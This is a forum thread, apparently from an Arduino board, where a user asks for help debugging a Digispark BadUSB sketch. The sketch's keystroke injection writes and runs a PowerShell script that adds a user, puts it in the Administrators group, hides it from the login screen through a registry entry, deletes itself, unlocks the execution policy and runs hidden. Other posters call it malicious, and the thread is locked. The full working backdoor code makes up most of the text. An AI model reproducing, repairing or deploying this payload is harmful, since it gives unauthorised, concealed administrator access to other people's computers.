Problem with a project..

Hello,

I wanted to create a Digispark that could create a new user with admin privileges.

I wrote the code myself and it should function but when it is in action it starts with "WIN(GUI) + R" and then switches to "File C:\Windows\config-99788.psl");" where it only writes "dows\config-99788.psl" and then continues with the right order.

Something seems to be wrong but I cannot figure out what and how to fix it..

Sourcecode:

#include <DigiKeyboard.h>

void setup() {
  //empty
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(500);
  DigiKeyboard.print("powershell Start-Process notepad -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(750);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_GUI_LEFT);
  delay(750);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
  delay(1000);
  DigiKeyboard.print("m");
  delay(1000);
 
  for(int i = 0; i < 100; i++) {
    DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW);
  }
  
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("Net User LetJusticeBeDoneThoughTheHeavenFalls Eto /ADD");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("Net LocalGroup Administrators Eto /ADD");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(500);
  DigiKeyboard.print("reg add 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WinLogon\\SpecialAccounts\\UserList' /v Eto /t REG_DWORD /d 0 /f");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("Remove-Item $MyINvocation.InvocationName");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT);
  delay(1000);
  DigiKeyboard.print("C:\\Windows\\config-99788.psl");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
  delay(750);
  DigiKeyboard.print("powershell Start-Process cmd -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  delay(1000);
  DigiKeyboard.print("mode con:cols=14 lines=1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
  delay(750);
  DigiKeyboard.print("m");
  delay(750);
  
  for(int i = 0; i < 100; i++) {
    DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW);
  }
  
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(750);
  DigiKeyboard.print("powershell.exe -windowstyle hidden -File C:\\Windows\\config-99788.psl");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  // End Payload
    for (;;) {
    /*Stops the digispark from running the scipt again*/
  }
}

It would be pretty kind if you could help me out.

Kind regards

Why do you think something is wrong?

paul

Paul_KD7HB:
Why do you think something is wrong?

paul

Because it does not do what it should do. It opens the windows prompt and then writes "dows\config-99788.psl"
instead of ("powershell Start-Process notepad -Verb runAs");

I see you are using the Arduino delay instead of the recommended:

// It's better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(5000);

Does that make any difference?

Paul

Paul_KD7HB:
I see you are using the Arduino delay instead of the recommended:

// It's better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(5000);

Does that make any difference?

Paul

Still the same problem..

This project is seemed to be with malicious intent.

arduino_new:
This project is seemed to be with malicious intent.

Do not worry about that. It is just for fun. It cannot really hurt anybody because for creating that user you need a logged in user who has admin priviliges already ^^

Delta_G:
It does indeed.

Is that what you would say if I were hacking your system? In general, it's best to learn on legal stuff. Stuff like what you are trying to do now is generally reserved fr those who know what they are doing.

Even if you are on the up and up, how do I know someone else isn't going to see this and go about something nefarious?

I get that. Will lock this thread then.
Thanks all anyway! :slight_smile: